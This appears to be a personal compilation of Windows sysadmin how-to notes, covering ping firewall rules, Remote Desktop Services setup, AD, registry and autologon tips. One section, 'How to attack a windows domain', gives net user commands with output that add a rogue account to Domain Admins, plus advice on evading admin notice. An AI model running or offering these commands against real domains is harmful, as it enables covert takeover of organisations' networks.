How to enable Ping in Windows Server

GUI – Graphical User Interface

1. Open Control Panel, then select System and Security by clicking on that header

-

-

2. Select Windows Firewall

-

-

3. Advanced Settings

-

-

4. In ‘Windows Firewall with Advanced security’ click on ‘Inbound rules’

-

-

5. Scroll down to ‘File and Printer sharing (Echo request – ICMPv4-In)

-

-

6. Rightclick on the rule and select ‘Enable rule’

-

-

Make sure that it turns green

Done, close down the ‘Windows Firewall with Advanced Security’ windows and then the Control panel.
Verify functionality by pinging the servers own IP address from a command or PowerShell prompt.

Done!
Back to top

-
-
PowerShell
(This will enable the existing rule exactly as the instruction above does)

Import-Module NetSecuritySet-NetFirewallRule -DisplayName “File and Printer Sharing (Echo Request – ICMPv4-In)” -enabled True

 

(ABove enables the existing rule, below will create a new rule that allows ICMPv4/Ping and enable it)

Import-Module NetSecurityNew-NetFirewallRule -Name Allow_Ping -DisplayName “Allow Ping”  -Description “Packet Internet Groper ICMPv4″ -Protocol ICMPv4 -IcmpType 8 -Enabled True -Profile Any -Action Allow

 

(For IPv6 Ping you obviously enable the v6 Inbound Rule…)

ref: http://blog.blksthl.com/2012/11/20/how-to-enable-ping-in-windows-server-2012/

Installing Remote Desktop Services

Open the Server Manager and right-click on roles, select Add Roles from the context menu

Click next on the Before You Being page to bring up a list of Roles that can be installed, select Remote Desktop Services and click next

On the Introduction To Remote Desktop Services page click next, this will bring you to the Role Services page, select the Remote Desktop Session Host as well as the Remote Desktop Licensing Service and then click next.

When you get to the application compatibility page it tells you that you should install the Session Host Role before you install your applications, just click next as we have not yet installed our applications. You are then asked if you want to require NLA, this will only allow Windows clients to connect to the Remote Desktop Session Host Server, in addition they must be running a Remote Desktop Client that support Network Level Authentication. I will go ahead and require NLA and then click next

Now you have to choose a licensing method, most of you guys wont have Remote Desktop Client Access Licenses, so you can leave your option at Configure Later this will give you unlimited access to the Remote Desktop Server for 4 Months (120 Days). However, if you do have licenses here is some information help you make your choice:

Licensing Modes

The licenses you purchased can be used either as Per User or Per Device. It is purely up to you, however if you already have a RDS Licensing Server you will have to choose the same option you chose when importing the licenses originally.

• RDS Per User CAL –  This means that every user that connects to the RDS Server must have a license. The user is assigned the license rather than the devices that he/she connects to the server from. This mode is a good choice if your users want to connect from a lot of different computers or devices (iPad, Home PC, Laptop, Phone etc)
• RDS Per Device CAL – If your users share a common workstation this is the mode for you, the license is given to the device rather than the users, this way many people can connect from a single device. However, if they try to connect from a different device they will not be able to since their user account doesn’t have a license.

I will leave mine at configure later and click next

Now you should specify who can connect to the Remote Desktop Server, I will just add my user account (Windows Geek), then click next

You are now given the option of making the RDS Server look and act more like Windows 7, this is to avoid users getting confused when they see the classic theme. I will enable the all the settings, it requires more bandwidth though, so take your network traffic into account before going click-happy and selecting everything. Once you have made your choice click next

Since we are running Server 2008 R2, we don’t need to specify a Discovery Scope so just click next again

Finally you can click on install.

Once installation is complete, reboot your server, when you log in the configuration will complete. That’s all there is to installing a Remote Desktop Server.

Activation

If you need to install your licenses you can do it through the RD Licensing Manager. You will need to activate the Server first though. I wont go through this, as it is self-explanatory.

Once you have installed you Licenses you will need to specify a license server for the RDS Session Host to use, to do this, open the RDS Session Host Configuration MMC

When the console opens double-click on the Remote Desktop license servers link.

Now you can specify your licensing mode and then hit the add button to specify a licensing server.

As I said before, you can skip this activation section and use Remote Desktop Services for 120 Days before you need to purchase a CAL. Once you have done this you will need to install your applications. However you cant just install them in any fashion you want, there is actually a special method for installing applications on a Remote Desktop Server.

ref: http://www.howtogeek.com/100812/setup-terminal-services-remote-desktop-server-2008/

Kaspersky Security Center 9 - Administration server service terminates with error #1181

 *The error #1811 can be find at "Kaspersky event log" under "Event Viewer" > "Applications and Services Logs"

Description

In certain cases an Administration server service may suddenly terminate with Kaspersky Event Log registering the following event:

Administration server stopped due to an error. #1181 (112) Input-output error 1181/0x70 ('System error 0x70 (Insufficient disk space.)')
Solution

You should do the following to restore the Administration server stability:

• Check the system disk for errors and free space availability.
• Delete the following file: %System Drive%:\Documents and Settings\All Users\Application Data\KasperskyLab\adminkit\1093\upd\rslt_lists.xml.

ref: http://support.kaspersky.com/7652

Best Practice: Group Policy for WSUS

Below article is shown the best practice on Group Policy for WSUS

http://www.grouppolicy.biz/2011/06/best-practices-group-policy-for-wsus/

Active Directory : You do not have sufficient privileges to delete Organizational Unit

Step 1:
Click on : View > Advanced Features

Step 2:
Right click on the OU you want to remove and then Properties ;
Click on Object tab ;
Uncheck the box Protect object from accidental deletion.

How to attack a windows domain

Code:

C:\net user hacked 0h3ck3d! /add /domain
net user hacked 0h3cked! /add /domain
The request will be processed at a domain controller for domain blackhat.com.
 
The command completed successfully.

Now we want to add our account to the domain admin group. NOTE: often you don’t want to add an account, especially one named hacked as it is likely to be discovered by the admins.

At this point we have control over the domain and can likely log into any workstation which is on the domain.

Code:

C:\net group “domain admins” hacked /add /domain
net group “domain admins” hacked /add /domain
The reuqest will be processed at a domain controller for domain blackhat.com
 
The command completed successfully.

ref: http://www.coresec.org/2011/03/27/how-to-attack-a-windows-domain/

Windows 7 Does Not Detect My DVD ROM Drive

To do this, follow these steps:

1. Open Registry for editing (Regedit.exe).
2. Locate, and then click the following registry sub key:
   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}
   Caution 
   To make sure that you are in the appropriate registry sub key, make sure that the Default data value is DVD/CD-ROM and the Class data value is CDROM. 
   
   
3. In the right pane, right-click UpperFilters, and then click Delete.
4. Click Yes to confirm the removal of the UpperFilters registry entry.
5. Do the same to the LowerFilters
6. Exit Registry Editor, and then restart the computer.

That it, The CD/DVD should now be working as expected.

Source: http://support.microsoft.com/default.aspx/kb/929461/en-us

ref: http://answers.microsoft.com/en-us/windows/forum/windows_7-hardware/my-computer-cannot-detect-my-dvd-drive-in-windows/3e232ab4-1a4c-425d-96dc-4f4dac074c60

Backup of Sticky Notes (自黏便箋)

The path of Sticky Notes (自黏便箋)

C:\Users\username\AppData\Roaming\Microsoft\Sticky Notes

Windows 7 Service Pack 1 (SP1) 的遠端伺服器管理工具

To install the Administration Tools pack by using the Windows interface

1. Download the Administration Tools package from the Microsoft Web site (http://go.microsoft.com/fwlink/?LinkID=137379).
   
2. Open the folder into which the package downloaded, double-click the package to unpack the files, and then start the Remote Server Administration Tools Setup Wizard.
   

   	Note
   	You must accept the License Terms and Limited Warranty to install Administration Tools.

3. Complete all the steps that are required by the wizard, and then click Finish to exit the wizard when installation is completed.
   
4. Click Start, click Control Panel, and then click Programs.
   
5. In the Programs and Features area, click Turn Windows features on or off.
   If you are prompted by User Account Control to allow the Windows Features dialog box to open, click Continue.
   
6. In the Windows Features dialog box, expand Remote Server Administration Tools.
   
7. Select the remote management tools that you want to install, and then click OK.
   
8. Configure the Start menu to display the Administration Tools shortcut, if it is not already there.
   
   1. Right-click Start, and then click Properties.
      
   2. On the Start Menu tab, click Customize.
      
   3. In the Customize Start Menu dialog box, scroll down to System Administrative Tools, and then select Display on the All Programs menu and the Start menu. Click OK.
      Shortcuts for snap-ins installed by Remote Server Administration Tools for Windows 7 are added to the Administrative Tools list on the Start menu.

http://www.microsoft.com/zh-tw/download/details.aspx?id=7887

Create "shutdown.bat" file

1. Open up "Notepad" by going to Start > Run > "Notepad" and then click OK.
2. In the notepad editor, type in:
c:\windows\system32\shutdown -s -f -t 0
3. Save the file to your computer. You can put it pretty much anywhere on your computer. I put mine on my C: drive.

What this batch file does is it points to the shutdown function on your computer, generally located at c:\windows\system32\shutdown. You may want to double check this, as some computers may have it listed as c:\winnt\system32\shutdown. If this is the case, then you want to change your batch file accordingly. The -s tells it to shutdown the computer. The -f tells it to force the computer to shutdown so that it doesn't get hung on any open applications. The -t sets the time for it to wait before it actually shuts down. You can set it to whatever you want, but I put in 0 to set it to zero.

ref: http://www.instructables.com/id/Remotely-Shut-Down-Your-Computer-With-A-Cell-Phone/step3/Create-the-shutdownbat-file/

Autologon in Windows 7 & Windows Server 2008

To enable Autologon in Windows 7 & Windows Server 2008,

1. Click Start, search for “control userpasswords2″ and press enter.

2. Select the user from the list and uncheck “User must enter a user name and password to enter this computer” and click Apply and OK.

ref: http://www.windowsreference.com/windows-server-2008/how-to-enable-autologon-in-windows-7-windows-server-2008/

如何取得最新版 Windows XP Service Pack

error code 0x80072F8F

There's a KB article on it here if that helps:
http://support.microsoft.com/kb/929458

Launching remote desktop from Run

mstsc.exe

Freeware P2V tools for Hyper-V - Disk2vhd